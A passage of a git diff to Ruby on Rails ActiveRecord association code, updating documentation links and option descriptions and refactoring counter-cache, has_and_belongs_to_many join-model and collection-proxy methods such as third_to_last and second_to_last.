ignored when using <tt>:through</tt> option. # [:foreign_key] # Specify the foreign key used for the association. By default this is guessed to be the name - # of this class in lower-case and "_id" suffixed. So a Person class that makes a +has_one+ association + # of this class in lower-case and "_id" suffixed. So a Person class that makes a #has_one association # will use "person_id" as the default <tt>:foreign_key</tt>. # [:foreign_type] # Specify the column used to store the associated object's type, if this is a polymorphic @@ -1365,31 +1442,33 @@ module ActiveRecord # [:primary_key] # Specify the method that returns the primary key used for the association. By default this is +id+. # [:as] - # Specifies a polymorphic interface (See <tt>belongs_to</tt>). + # Specifies a polymorphic interface (See #belongs_to). # [:through] # Specifies a Join Model through which to perform the query. Options for <tt>:class_name</tt>, # <tt>:primary_key</tt>, and <tt>:foreign_key</tt> are ignored, as the association uses the - # source reflection. You can only use a <tt>:through</tt> query through a <tt>has_one</tt> - # or <tt>belongs_to</tt> association on the join model. + # source reflection. You can only use a <tt>:through</tt> query through a #has_one + # or #belongs_to association on the join model. # [:source] - # Specifies the source association name used by <tt>has_one :through</tt> queries. + # Specifies the source association name used by #has_one <tt>:through</tt> queries. # Only use it if the name cannot be inferred from the association. # <tt>has_one :favorite, through: :favorites</tt> will look for a # <tt>:favorite</tt> on Favorite, unless a <tt>:source</tt> is given. # [:source_type] - # Specifies type of the source association used by <tt>has_one :through</tt> queries where the source - # association is a polymorphic +belongs_to+. + # Specifies type of the source association used by #has_one <tt>:through</tt> queries where the source + # association is a polymorphic #belongs_to. # [:validate] - # If +false+, don't validate the associated object when saving the parent object. +false+ by default. + # When set to +true+, validates new objects added to association when saving the parent object. +false+ by default. + # If you want to ensure associated objects are revalidated on every update, use +validates_associated+. # [:autosave] # If true, always save the associated object or destroy it if marked for destruction, # when saving the parent object. If false, never save or destroy the associated object. # By default, only save the associated object if it's a new record. # - # Note that <tt>accepts_nested_attributes_for</tt> sets <tt>:autosave</tt> to <tt>true</tt>. + # Note that NestedAttributes::ClassMethods#accepts_nested_attributes_for sets + # <tt>:autosave</tt> to <tt>true</tt>. # [:inverse_of] - # Specifies the name of the <tt>belongs_to</tt> association on the associated object - # that is the inverse of this <tt>has_one</tt> association. Does not work in combination + # Specifies the name of the #belongs_to association on the associated object + # that is the inverse of this #has_one association. Does not work in combination # with <tt>:through</tt> or <tt>:as</tt> options. # See ActiveRecord::Associations::ClassMethods's overview on Bi-directional associations for more detail. # [:required] @@ -1401,12 +1480,12 @@ module ActiveRecord # has_one :credit_card, dependent: :destroy # destroys the associated credit card # has_one :credit_card, dependent: :nullify # updates the associated records foreign # # key value to NULL rather than destroying it - # has_one :last_comment, -> { order 'posted_on' }, class_name: "Comment" - # has_one :project_manager, -> { where role: 'project_manager' }, class_name: "Person" + # has_one :last_comment, -> { order('posted_on') }, class_name: "Comment" + # has_one :project_manager, -> { where(role: 'project_manager') }, class_name: "Person" # has_one :attachment, as: :attachable # has_one :boss, -> { readonly } # has_one :club, through: :membership - # has_one :primary_address, -> { where primary: true }, through: :addressables, source: :addressable + # has_one :primary_address, -> { where(primary: true) }, through: :addressables, source: :addressable # has_one :credit_card, required: true def has_one(name, scope = nil, options = {}) reflection = Builder::HasOne.build(self, name, scope, options) @@ -1415,8 +1494,8 @@ module ActiveRecord # Specifies a one-to-one association with another class. This method should only be used # if this class contains the foreign key. If the other class contains the foreign key, - # then you should use +has_one+ instead. See also ActiveRecord::Associations::ClassMethods's overview - # on when to use +has_one+ and when to use +belongs_to+. + # then you should use #has_one instead. See also ActiveRecord::Associations::ClassMethods's overview + # on when to use #has_one and when to use #belongs_to. # # Methods will be added for retrieval and query for a single associated object, for which # this object holds an id: @@ -1436,7 +1515,7 @@ module ActiveRecord # with +attributes+, linked to this object through a foreign key, and that # has already been saved (if it passed the validation). # [create_association!(attributes = {})] - # Does the same as <tt>create_association</tt>, but raises <tt>ActiveRecord::RecordInvalid</tt> + # Does the same as <tt>create_association</tt>, but raises ActiveRecord::RecordInvalid # if the record is invalid. # # === Example @@ -1483,12 +1562,12 @@ module ActiveRecord # [:dependent] # If set to <tt>:destroy</tt>, the associated object is destroyed when this object is. If set to # <tt>:delete</tt>, the associated object is deleted *without* calling its destroy method. - # This option should not be specified when <tt>belongs_to</tt> is used in conjunction with - # a <tt>has_many</tt> relationship on another class because of the potential to leave + # This option should not be specified when #belongs_to is used in conjunction with + # a #has_many relationship on another class because of the potential to leave # orphaned records behind. # [:counter_cache] - # Caches the number of belonging objects on the associate class through the use of +increment_counter+ - # and +decrement_counter+. The counter cache is incremented when an object of this + # Caches the number of belonging objects on the associate class through the use of CounterCache::ClassMethods#increment_counter + # and CounterCache::ClassMethods#decrement_counter. The counter cache is incremented when an object of this # class is created and decremented when it's destroyed. This requires that a column # named <tt>#{table_name}_count</tt> (such as +comments_count+ for a belonging Comment class) # is used on the associate class (such as a Post class) - that is the migration for @@ -1503,21 +1582,25 @@ module ActiveRecord # Note: If you've enabled the counter cache, then you may want to add the counter cache attribute # to the +attr_readonly+ list in the associated classes (e.g. <tt>class Post; attr_readonly :comments_count; end</tt>). # [:validate] - # If +false+, don't validate the associated objects when saving the parent object. +false+ by default. + # When set to +true+, validates new objects added to association when saving the parent object. +false+ by default. + # If you want to ensure associated objects are revalidated on every update, use +validates_associated+. # [:autosave] # If true, always save the associated object or destroy it if marked for destruction, when # saving the parent object. # If false, never save or destroy the associated object. # By default, only save the associated object if it's a new record. # - # Note that <tt>accepts_nested_attributes_for</tt> sets <tt>:autosave</tt> to <tt>true</tt>. + # Note that NestedAttributes::ClassMethods#accepts_nested_attributes_for + # sets <tt>:autosave</tt> to <tt>true</tt>. # [:touch] # If true, the associated object will be touched (the updated_at/on attributes set to current time) # when this record is either saved or destroyed. If you specify a symbol, that attribute # will be updated with the current time in addition to the updated_at/on attribute. + # Please note that with touching no validation is performed and only the +after_touch+, + # +after_commit+ and +after_rollback+ callbacks are executed. # [:inverse_of] - # Specifies the name of the <tt>has_one</tt> or <tt>has_many</tt> association on the associated - # object that is the inverse of this <tt>belongs_to</tt> association. Does not work in + # Specifies the name of the #has_one or #has_many association on the associated + # object that is the inverse of this #belongs_to association. Does not work in # combination with the <tt>:polymorphic</tt> options. # See ActiveRecord::Associations::ClassMethods's overview on Bi-directional associations for more detail. # [:optional] @@ -1563,12 +1646,9 @@ module ActiveRecord # The join table should not have a primary key or a model associated with it. You must manually generate the # join table with a migration such as this: # - # class CreateDevelopersProjectsJoinTable < ActiveRecord::Migration + # class CreateDevelopersProjectsJoinTable < ActiveRecord::Migration[5.0] # def change - # create_table :developers_projects, id: false do |t| - # t.integer :developer_id - # t.integer :project_id - # end + # create_join_table :developers, :projects # end # end # @@ -1610,10 +1690,10 @@ module ActiveRecord # [collection.find(id)] # Finds an associated object responding to the +id+ and that # meets the condition that it has to be associated with this object. - # Uses the same rules as <tt>ActiveRecord::Base.find</tt>. + # Uses the same rules as ActiveRecord::FinderMethods#find. # [collection.exists?(...)] # Checks whether an associated object with the given conditions exists. - # Uses the same rules as <tt>ActiveRecord::Base.exists?</tt>. + # Uses the same rules as ActiveRecord::FinderMethods#exists?. # [collection.build(attributes = {})] # Returns a new object of the collection type that has been instantiated # with +attributes+ and linked to this object through the join table, but has not yet been saved. @@ -1648,7 +1728,7 @@ module ActiveRecord # query when you access the associated collection. # # Scope examples: - # has_and_belongs_to_many :projects, -> { includes :milestones, :manager } + # has_and_belongs_to_many :projects, -> { includes(:milestones, :manager) } # has_and_belongs_to_many :categories, ->(category) { # where("default_category = ?", category.name) # } @@ -1677,32 +1757,32 @@ module ActiveRecord # [:join_table] # Specify the name of the join table if the default based on lexical order isn't what you want. # <b>WARNING:</b> If you're overwriting the table name of either class, the +table_name+ method - # MUST be declared underneath any +has_and_belongs_to_many+ declaration in order to work. + # MUST be declared underneath any #has_and_belongs_to_many declaration in order to work. # [:foreign_key] # Specify the foreign key used for the association. By default this is guessed to be the name # of this class in lower-case and "_id" suffixed. So a Person class that makes - # a +has_and_belongs_to_many+ association to Project will use "person_id" as the + # a #has_and_belongs_to_many association to Project will use "person_id" as the # default <tt>:foreign_key</tt>. # [:association_foreign_key] # Specify the foreign key used for the association on the receiving side of the association. # By default this is guessed to be the name of the associated class in lower-case and "_id" suffixed. - # So if a Person class makes a +has_and_belongs_to_many+ association to Project, + # So if a Person class makes a #has_and_belongs_to_many association to Project, # the association will use "project_id" as the default <tt>:association_foreign_key</tt>. - # [:readonly] - # If true, all the associated objects are readonly through the association. # [:validate] - # If +false+, don't validate the associated objects when saving the parent object. +true+ by default. + # When set to +true+, validates new objects added to association when saving the parent object. +true+ by default. + # If you want to ensure associated objects are revalidated on every update, use +validates_associated+. # [:autosave] # If true, always save the associated objects or destroy them if marked for destruction, when # saving the parent object. # If false, never save or destroy the associated objects. # By default, only save associated objects that are new records. # - # Note that <tt>accepts_nested_attributes_for</tt> sets <tt>:autosave</tt> to <tt>true</tt>. + # Note that NestedAttributes::ClassMethods#accepts_nested_attributes_for sets + # <tt>:autosave</tt> to <tt>true</tt>. # # Option examples: # has_and_belongs_to_many :projects - # has_and_belongs_to_many :projects, -> { includes :milestones, :manager } + # has_and_belongs_to_many :projects, -> { includes(:milestones, :manager) } # has_and_belongs_to_many :nations, class_name: "Country" # has_and_belongs_to_many :categories, join_table: "prods_cats" # has_and_belongs_to_many :categories, -> { readonly } @@ -1718,16 +1798,14 @@ module ActiveRecord join_model = builder.through_model - # FIXME: we should move this to the internal constants. Also people - # should never directly access this constant so I'm not happy about - # setting it. const_set join_model.name, join_model + private_constant join_model.name middle_reflection = builder.middle_reflection join_model Builder::HasMany.define_callbacks self, middle_reflection Reflection.add_reflection self, middle_reflection.name, middle_reflection - middle_reflection.parent_reflection = [name.to_s, habtm_reflection] + middle_reflection.parent_reflection = habtm_reflection include Module.new { class_eval <<-RUBY, __FILE__, __LINE__ + 1 @@ -1743,12 +1821,12 @@ module ActiveRecord hm_options[:through] = middle_reflection.name hm_options[:source] = join_model.right_reflection.name - [:before_add, :after_add, :before_remove, :after_remove, :autosave, :validate, :join_table, :class_name].each do |k| + [:before_add, :after_add, :before_remove, :after_remove, :autosave, :validate, :join_table, :class_name, :extend].each do |k| hm_options[k] = options[k] if options.key? k end has_many name, scope, hm_options, &extension - self._reflections[name.to_s].parent_reflection = [name.to_s, habtm_reflection] + self._reflections[name.to_s].parent_reflection = habtm_reflection end end end diff --git a/activerecord/lib/active_record/associations/alias_tracker.rb b/activerecord/lib/active_record/associations/alias_tracker.rb index 2b7e4f28c5..021bc32237 100644 --- a/activerecord/lib/active_record/associations/alias_tracker.rb +++ b/activerecord/lib/active_record/associations/alias_tracker.rb @@ -2,8 +2,7 @@ require 'active_support/core_ext/string/conversions' module ActiveRecord module Associations - # Keeps track of table aliases for ActiveRecord::Associations::ClassMethods::JoinDependency and - # ActiveRecord::Associations::ThroughAssociationScope + # Keeps track of table aliases for ActiveRecord::Associations::JoinDependency class AliasTracker # :nodoc: attr_reader :aliases diff --git a/activerecord/lib/active_record/associations/association.rb b/activerecord/lib/active_record/associations/association.rb index 930f678ae8..62e867a353 100644 --- a/activerecord/lib/active_record/associations/association.rb +++ b/activerecord/lib/active_record/associations/association.rb @@ -163,9 +163,12 @@ module ActiveRecord @reflection = @owner.class._reflect_on_association(reflection_name) end - def initialize_attributes(record) #:nodoc: + def initialize_attributes(record, except_from_scope_attributes = nil) #:nodoc: + except_from_scope_attributes ||= {} skip_assign = [reflection.foreign_key, reflection.type].compact - attributes = create_scope.except(*(record.changed - skip_assign)) + assigned_keys = record.changed + assigned_keys += except_from_scope_attributes.keys.map(&:to_s) + attributes = create_scope.except(*(assigned_keys - skip_assign)) record.assign_attributes(attributes) set_inverse_instance(record) end @@ -211,9 +214,13 @@ module ActiveRecord # the kind of the class of the associated objects. Meant to be used as # a sanity check when you are about to assign an associated record. def raise_on_type_mismatch!(record) - unless record.is_a?(reflection.klass) || record.is_a?(reflection.class_name.constantize) - message = "#{reflection.class_name}(##{reflection.klass.object_id}) expected, got #{record.class}(##{record.class.object_id})" - raise ActiveRecord::AssociationTypeMismatch, message + unless record.is_a?(reflection.klass) + fresh_class = reflection.class_name.safe_constantize + unless fresh_class && record.is_a?(fresh_class) + message = "#{reflection.class_name}(##{reflection.klass.object_id}) expected, "\ + "got #{record.inspect} which is an instance of #{record.class}(##{record.class.object_id})" + raise ActiveRecord::AssociationTypeMismatch, message + end end end @@ -245,9 +252,17 @@ module ActiveRecord def build_record(attributes) reflection.build_association(attributes) do |record| - initialize_attributes(record) + initialize_attributes(record, attributes) end end + + # Returns true if statement cache should be skipped on the association reader. + def skip_statement_cache? + reflection.has_scope? || + scope.eager_loading? || + klass.scope_attributes? || + reflection.source_reflection.active_record.default_scopes.any? + end end end end diff --git a/activerecord/lib/active_record/associations/association_scope.rb b/activerecord/lib/active_record/associations/association_scope.rb index 2416167834..15844de0bc 100644 --- a/activerecord/lib/active_record/associations/association_scope.rb +++ b/activerecord/lib/active_record/associations/association_scope.rb @@ -124,8 +124,7 @@ module ActiveRecord scope = last_chain_scope(scope, table, owner_reflection, owner, association_klass) reflection = chain_head - loop do - break unless reflection + while reflection table = reflection.alias_name unless reflection == chain_tail @@ -147,6 +146,7 @@ module ActiveRecord scope.includes! item.includes_values end + scope.unscope!(*item.unscope_values) scope.where_clause += item.where_clause scope.order_values |= item.order_values end diff --git a/activerecord/lib/active_record/associations/belongs_to_association.rb b/activerecord/lib/active_record/associations/belongs_to_association.rb index 265a65c4c1..24997370b2 100644 --- a/activerecord/lib/active_record/associations/belongs_to_association.rb +++ b/activerecord/lib/active_record/associations/belongs_to_association.rb @@ -10,7 +10,7 @@ module ActiveRecord def replace(record) if record raise_on_type_mismatch!(record) - update_counters(record) + update_counters_on_replace(record) replace_keys(record) set_inverse_instance(record) @updated = true @@ -32,45 +32,38 @@ module ActiveRecord end def decrement_counters # :nodoc: - with_cache_name { |name| decrement_counter name } + update_counters(-1) end def increment_counters # :nodoc: - with_cache_name { |name| increment_counter name } + update_counters(1) end private - def find_target? - !loaded? && foreign_key_present? && klass - end - - def with_cache_name - counter_cache_name = reflection.counter_cache_column - return unless counter_cache_name && owner.persisted? - yield counter_cache_name + def update_counters(by) + if require_counter_update? && foreign_key_present? + if target && !stale_target? + target.increment!(reflection.counter_cache_column, by) + else + klass.update_counters(target_id, reflection.counter_cache_column => by) + end + end end - def update_counters(record) - with_cache_name do |name| - return unless different_target? record - record.class.increment_counter(name, record.id) - decrement_counter name - end + def find_target? + !loaded? && foreign_key_present? && klass end - def decrement_counter(counter_cache_name) - if foreign_key_present? - klass.decrement_counter(counter_cache_name, target_id) - end + def require_counter_update? + reflection.counter_cache_column && owner.persisted? end - def increment_counter(counter_cache_name) - if foreign_key_present? - klass.increment_counter(counter_cache_name, target_id) - if target && !stale_target? - target.increment(counter_cache_name) - end + def update_counters_on_replace(record) + if require_counter_update? && different_target?(record) + owner.instance_variable_set :@_after_replace_counter_called, true + record.increment!(reflection.counter_cache_column) + decrement_counters end end @@ -107,7 +100,7 @@ module ActiveRecord end def stale_state - result = owner._read_attribute(reflection.foreign_key) + result = owner._read_attribute(reflection.foreign_key) { |n| owner.send(:missing_attribute, n, caller) } result && result.to_s end end diff --git a/activerecord/lib/active_record/associations/builder/association.rb b/activerecord/lib/active_record/associations/builder/association.rb index 88406740d8..d0534056d9 100644 --- a/activerecord/lib/active_record/associations/builder/association.rb +++ b/activerecord/lib/active_record/associations/builder/association.rb @@ -9,14 +9,14 @@ # - CollectionAssociation # - HasManyAssociation -module ActiveRecord::Associations::Builder +module ActiveRecord::Associations::Builder # :nodoc: class Association #:nodoc: class << self attr_accessor :extensions end self.extensions = [] - VALID_OPTIONS = [:class_name, :class, :foreign_key, :validate] # :nodoc: + VALID_OPTIONS = [:class_name, :anonymous_class, :foreign_key, :validate] # :nodoc: def self.build(model, name, scope, options, &block) if model.dangerous_attribute_method?(name) diff --git a/activerecord/lib/active_record/associations/builder/belongs_to.rb b/activerecord/lib/active_record/associations/builder/belongs_to.rb index ec135d49b7..3121e70a04 100644 --- a/activerecord/lib/active_record/associations/builder/belongs_to.rb +++ b/activerecord/lib/active_record/associations/builder/belongs_to.rb @@ -1,11 +1,11 @@ -module ActiveRecord::Associations::Builder +module ActiveRecord::Associations::Builder # :nodoc: class BelongsTo < SingularAssociation #:nodoc: def self.macro :belongs_to end def self.valid_options(options) - super + [:foreign_type, :polymorphic, :touch, :counter_cache, :optional] + super + [:polymorphic, :touch, :counter_cache, :optional] end def self.valid_dependent_options @@ -33,16 +33,26 @@ module ActiveRecord::Associations::Builder if (@_after_create_counter_called ||= false) @_after_create_counter_called = false - elsif attribute_changed?(foreign_key) && !new_record? && reflection.constructable? - model = reflection.klass + elsif (@_after_replace_counter_called ||= false) + @_after_replace_counter_called = false + elsif attribute_changed?(foreign_key) && !new_record? + if reflection.polymorphic? + model = attribute(reflection.foreign_type).try(:constantize) + model_was = attribute_was(reflection.foreign_type).try(:constantize) + else + model = reflection.klass + model_was = reflection.klass + end + foreign_key_was = attribute_was foreign_key foreign_key = attribute foreign_key if foreign_key && model.respond_to?(:increment_counter) model.increment_counter(cache_column, foreign_key) end - if foreign_key_was && model.respond_to?(:decrement_counter) - model.decrement_counter(cache_column, foreign_key_was) + + if foreign_key_was && model_was.respond_to?(:decrement_counter) + model_was.decrement_counter(cache_column, foreign_key_was) end end end @@ -60,7 +70,7 @@ module ActiveRecord::Associations::Builder klass.attr_readonly cache_column if klass && klass.respond_to?(:attr_readonly) end - def self.touch_record(o, foreign_key, name, touch) # :nodoc: + def self.touch_record(o, foreign_key, name, touch, touch_method) # :nodoc: old_foreign_id = o.changed_attributes[foreign_key] if old_foreign_id @@ -75,9 +85,9 @@ module ActiveRecord::Associations::Builder if old_record if touch != true - old_record.touch touch + old_record.send(touch_method, touch) else - old_record.touch + old_record.send(touch_method) end end end @@ -85,9 +95,9 @@ module ActiveRecord::Associations::Builder record = o.send name if record && record.persisted? if touch != true - record.touch touch + record.send(touch_method, touch) else - record.touch + record.send(touch_method) end end end @@ -98,7 +108,7 @@ module ActiveRecord::Associations::Builder touch = reflection.options[:touch] callback = lambda { |record| - BelongsTo.touch_record(record, foreign_key, n, touch) + BelongsTo.touch_record(record, foreign_key, n, touch, belongs_to_touch_method) } model.after_save callback, if: :changed? @@ -107,8 +117,7 @@ module ActiveRecord::Associations::Builder end def self.add_destroy_callbacks(model, reflection) - name = reflection.name - model.after_destroy lambda { |o| o.association(name).handle_dependency } + model.after_destroy lambda { |o| o.association(reflection.name).handle_dependency } end def self.define_validations(model, reflection) diff --git a/activerecord/lib/active_record/associations/builder/collection_association.rb b/activerecord/lib/active_record/associations/builder/collection_association.rb index 2ff67f904d..f25bd7ca9f 100644 --- a/activerecord/lib/active_record/associations/builder/collection_association.rb +++ b/activerecord/lib/active_record/associations/builder/collection_association.rb @@ -2,7 +2,7 @@ require 'active_record/associations' -module ActiveRecord::Associations::Builder +module ActiveRecord::Associations::Builder # :nodoc: class CollectionAssociation < Association #:nodoc: CALLBACKS = [:before_add, :after_add, :before_remove, :after_remove] @@ -70,7 +70,11 @@ module ActiveRecord::Associations::Builder def self.wrap_scope(scope, mod) if scope - proc { |owner| instance_exec(owner, &scope).extending(mod) } + if scope.arity > 0 + proc { |owner| instance_exec(owner, &scope).extending(mod) } + else + proc { instance_exec(&scope).extending(mod) } + end else proc { extending(mod) } end diff --git a/activerecord/lib/active_record/associations/builder/has_and_belongs_to_many.rb b/activerecord/lib/active_record/associations/builder/has_and_belongs_to_many.rb index 93dc4ae118..5fbd79d118 100644 --- a/activerecord/lib/active_record/associations/builder/has_and_belongs_to_many.rb +++ b/activerecord/lib/active_record/associations/builder/has_and_belongs_to_many.rb @@ -1,9 +1,9 @@ -module ActiveRecord::Associations::Builder +module ActiveRecord::Associations::Builder # :nodoc: class HasAndBelongsToMany # :nodoc: - class JoinTableResolver + class JoinTableResolver # :nodoc: KnownTable = Struct.new :join_table - class KnownClass + class KnownClass # :nodoc: def initialize(lhs_class, rhs_class_name) @lhs_class = lhs_class @rhs_class_name = rhs_class_name @@ -46,7 +46,7 @@ module ActiveRecord::Associations::Builder join_model = Class.new(ActiveRecord::Base) { class << self; - attr_accessor :class_resolver + attr_accessor :left_model attr_accessor :name attr_accessor :table_name_resolver attr_accessor :left_reflection @@ -58,34 +58,41 @@ module ActiveRecord::Associations::Builder end def self.compute_type(class_name) - class_resolver.compute_type class_name + left_model.compute_type class_name end def self.add_left_association(name, options) - belongs_to name, options + belongs_to name, required: false, **options self.left_reflection = _reflect_on_association(name) end def self.add_right_association(name, options) rhs_name = name.to_s.singularize.to_sym - belongs_to rhs_name, options + belongs_to rhs_name, required: false, **options self.right_reflection = _reflect_on_association(rhs_name) end + def self.retrieve_connection + left_model.retrieve_connection + end + + def self.primary_key + false + end } join_model.name = "HABTM_#{association_name.to_s.camelize}" join_model.table_name_resolver = habtm - join_model.class_resolver = lhs_model + join_model.left_model = lhs_model - join_model.add_left_association :left_side, class: lhs_model + join_model.add_left_association :left_side, anonymous_class: lhs_model join_model.add_right_association association_name, belongs_to_options(options) join_model end def middle_reflection(join_model) middle_name = [lhs_model.name.downcase.pluralize, - association_name].join('_').gsub(/::/, '_').to_sym + association_name].join('_'.freeze).gsub('::'.freeze, '_'.freeze).to_sym middle_options = middle_options join_model HasMany.create_reflection(lhs_model, diff --git a/activerecord/lib/active_record/associations/builder/has_many.rb b/activerecord/lib/active_record/associations/builder/has_many.rb index 1c1b47bd56..7864d4c536 100644 --- a/activerecord/lib/active_record/associations/builder/has_many.rb +++ b/activerecord/lib/active_record/associations/builder/has_many.rb @@ -1,11 +1,11 @@ -module ActiveRecord::Associations::Builder +module ActiveRecord::Associations::Builder # :nodoc: class HasMany < CollectionAssociation #:nodoc: def self.macro :has_many end def self.valid_options(options) - super + [:primary_key, :dependent, :as, :through, :source, :source_type, :inverse_of, :counter_cache, :join_table, :foreign_type] + super + [:primary_key, :dependent, :as, :through, :source, :source_type, :inverse_of, :counter_cache, :join_table, :foreign_type, :index_errors] end def self.valid_dependent_options diff --git a/activerecord/lib/active_record/associations/builder/has_one.rb b/activerecord/lib/active_record/associations/builder/has_one.rb index a272d3c781..4de846d12b 100644 --- a/activerecord/lib/active_record/associations/builder/has_one.rb +++ b/activerecord/lib/active_record/associations/builder/has_one.rb @@ -1,11 +1,11 @@ -module ActiveRecord::Associations::Builder +module ActiveRecord::Associations::Builder # :nodoc: class HasOne < SingularAssociation #:nodoc: def self.macro :has_one end def self.valid_options(options) - valid = super + [:as, :foreign_type] + valid = super + [:as] valid += [:through, :source, :source_type] if options[:through] valid end diff --git a/activerecord/lib/active_record/associations/builder/singular_association.rb b/activerecord/lib/active_record/associations/builder/singular_association.rb index 42542f188e..bb96202a22 100644 --- a/activerecord/lib/active_record/associations/builder/singular_association.rb +++ b/activerecord/lib/active_record/associations/builder/singular_association.rb @@ -1,9 +1,9 @@ # This class is inherited by the has_one and belongs_to association classes -module ActiveRecord::Associations::Builder +module ActiveRecord::Associations::Builder # :nodoc: class SingularAssociation < Association #:nodoc: def self.valid_options(options) - super + [:dependent, :primary_key, :inverse_of, :required] + super + [:foreign_type, :dependent, :primary_key, :inverse_of, :required] end def self.define_accessors(model, reflection) diff --git a/activerecord/lib/active_record/associations/collection_association.rb b/activerecord/lib/active_record/associations/collection_association.rb index 88531205a1..00355f3e89 100644 --- a/activerecord/lib/active_record/associations/collection_association.rb +++ b/activerecord/lib/active_record/associations/collection_association.rb @@ -28,6 +28,12 @@ module ActiveRecord # Implements the reader method, e.g. foo.items for Foo.has_many :items def reader(force_reload = false) if force_reload + ActiveSupport::Deprecation.warn(<<-MSG.squish) + Passing an argument to force an association to reload is now + deprecated and will be removed in Rails 5.1. Please call `reload` + on the result collection proxy instead. + MSG + klass.uncached { reload } elsif stale_target? reload @@ -54,8 +60,10 @@ module ActiveRecord record.send(reflection.association_primary_key) end else - column = "#{reflection.quoted_table_name}.#{reflection.association_primary_key}" - scope.pluck(column) + @association_ids ||= ( + column = "#{reflection.quoted_table_name}.#{reflection.association_primary_key}" + scope.pluck(column) + ) end end @@ -64,7 +72,10 @@ module ActiveRecord pk_type = reflection.primary_key_type ids = Array(ids).reject(&:blank?) ids.map! { |i| pk_type.cast(i) } - replace(klass.find(ids).index_by(&:id).values_at(*ids)) + records = klass.where(reflection.association_primary_key => ids).index_by do |r| + r.send(reflection.association_primary_key) + end.values_at(*ids) + replace(records) end def reset @@ -125,6 +136,14 @@ module ActiveRecord first_nth_or_last(:forty_two, *args) end + def third_to_last(*args) + first_nth_or_last(:third_to_last, *args) + end + + def second_to_last(*args) + first_nth_or_last(:second_to_last, *args) + end + def last(*args) first_nth_or_last(:last, *args) end @@ -227,9 +246,12 @@ module ActiveRecord end end - # Count all records using SQL. Construct options and pass them with - # scope to the target class's +count+. + # Returns the number of records. If no arguments are given, it counts all + # columns using SQL. If one argument is given, it counts only the passed + # column using SQL. If a block is given, it counts the number of records + # yielding a true value. def count(column_name = nil) + return super if block_given? relation = scope if association_scope.distinct_value # This is needed because 'SELECT count(DISTINCT *)..' is not valid SQL. @@ -370,6 +392,8 @@ module ActiveRecord replace_common_records_in_memory(other_array, original_target) if other_array != original_target transaction { replace_records(other_array, original_target) } + else + other_array end end end @@ -404,12 +428,16 @@ module ActiveRecord def replace_on_target(record, index, skip_callbacks) callback(:before_add, record) unless skip_callbacks + + was_loaded = loaded? yield(record) if block_given? - if index - @target[index] = record - else - @target << record + unless !was_loaded && loaded? + if index + @target[index] = record + else + @target << record + end end callback(:after_add, record) unless skip_callbacks @@ -430,12 +458,7 @@ module ActiveRecord private def get_records - if reflection.scope_chain.any?(&:any?) || - scope.eager_loading? || - klass.scope_attributes? - - return scope.to_a - end + return scope.to_a if skip_statement_cache? conn = klass.connection sc = reflection.association_scope_cache(conn, owner) do diff --git a/activerecord/lib/active_record/associations/collection_proxy.rb b/activerecord/lib/active_record/associations/collection_proxy.rb index 685c3a5f17..9350064028 100644 --- a/activerecord/lib/active_record/associations/collection_proxy.rb +++ b/activerecord/lib/active_record/associations/collection_proxy.rb @@ -112,7 +112,7 @@ module ActiveRecord end # Finds an object in the collection responding to the +id+. Uses the same - # rules as <tt>ActiveRecord::Base.find</tt>. Returns <tt>ActiveRecord::RecordNotFound</tt> + # rules as ActiveRecord::Base.find. Returns ActiveRecord::RecordNotFound # error if the object cannot be found. # # class Person < ActiveRecord::Base @@ -127,7 +127,7 @@ module ActiveRecord # # ] # # person.pets.find(1) # => #<Pet id: 1, name: "Fancy-Fancy", person_id: 1> - # person.pets.find(4) # => ActiveRecord::RecordNotFound: Couldn't find Pet with id=4 + # person.pets.find(4) # => ActiveRecord::RecordNotFound: Couldn't find Pet with 'id'=4 # # person.pets.find(2) { |pet| pet.name.downcase! } # # => #<Pet id: 2, name: "fancy-fancy", person_id: 1> @@ -171,32 +171,42 @@ module ActiveRecord @association.first(*args) end - # Same as +first+ except returns only the second record. + # Same as #first except returns only the second record. def second(*args) @association.second(*args) end - # Same as +first+ except returns only the third record. + # Same as #first except returns only the third record. def third(*args) @association.third(*args) end - # Same as +first+ except returns only the fourth record. + # Same as #first except returns only the fourth record. def fourth(*args) @association.fourth(*args) end - # Same as +first+ except returns only the fifth record. + # Same as #first except returns only the fifth record. def fifth(*args) @association.fifth(*args) end - # Same as +first+ except returns only the forty second record. + # Same as #first except returns only the forty second record. # Also known as accessing "the reddit". def forty_two(*args) @association.forty_two(*args) end + # Same as #first except returns only the third-to-last record. + def third_to_last(*args) + @association.third_to_last(*args) + end + + # Same as #first except returns only the second-to-last record. + def second_to_last(*args) + @association.second_to_last(*args) + end + # Returns the last record, or the last +n+ records, from the collection. # If the collection is empty, the first form returns +nil+, and the second # form returns an empty array. @@ -227,6 +237,31 @@ module ActiveRecord @association.last(*args) end + # Gives a record (or N records if a parameter is supplied) from the collection + # using the same rules as <tt>ActiveRecord::Base.take</tt>. + # + # class Person < ActiveRecord::Base + # has_many :pets + # end + # + # person.pets + # # => [ + # # #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>, + # # #<Pet id: 2, name: "Spook", person_id: 1>, + # # #<Pet id: 3, name: "Choo-Choo", person_id: 1> + # # ] + # + # person.pets.take # => #<Pet id: 1, name: "Fancy-Fancy", person_id: 1> + # + # person.pets.take(2) + # # => [ + # # #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>, + # # #<Pet id: 2, name: "Spook", person_id: 1> + # # ] + # + # another_person_without.pets # => [] + # another_person_without.pets.take # => nil + # another_person_without.pets.take(2) # => [] def take(n = nil) @association.take(n) end @@ -290,7 +325,7 @@ module ActiveRecord @association.create(attributes, &block) end - # Like +create+, except that if the record is invalid, raises an exception. + # Like #create, except that if the record is invalid, raises an exception. # # class Person # has_many :pets @@ -307,8 +342,8 @@ module ActiveRecord end # Add one or more records to the collection by setting their foreign keys - # to the association's primary key. Since << flattens its argument list and - # inserts each record, +push+ and +concat+ behave identically. Returns +self+ + # to the association's primary key. Since #<< flattens its argument list and + # inserts each record, +push+ and #concat behave identically. Returns +self+ # so method calls may be chained. # # class Person < ActiveRecord::Base @@ -364,7 +399,7 @@ module ActiveRecord # specified by the +:dependent+ option. If no +:dependent+ option is given, # then it will follow the default strategy. # - # For +has_many :through+ associations, the default deletion strategy is + # For <tt>has_many :through</tt> associations, the default deletion strategy is # +:delete_all+. # # For +has_many+ associations, the default deletion strategy is +:nullify+. @@ -399,7 +434,7 @@ module ActiveRecord # # #<Pet id: 3, name: "Choo-Choo", person_id: nil> # # ] # - # Both +has_many+ and +has_many :through+ dependencies default to the + # Both +has_many+ and <tt>has_many :through</tt> dependencies default to the # +:delete_all+ strategy if the +:dependent+ option is set to +:destroy+. # Records are not instantiated and callbacks will not be fired. # @@ -418,7 +453,7 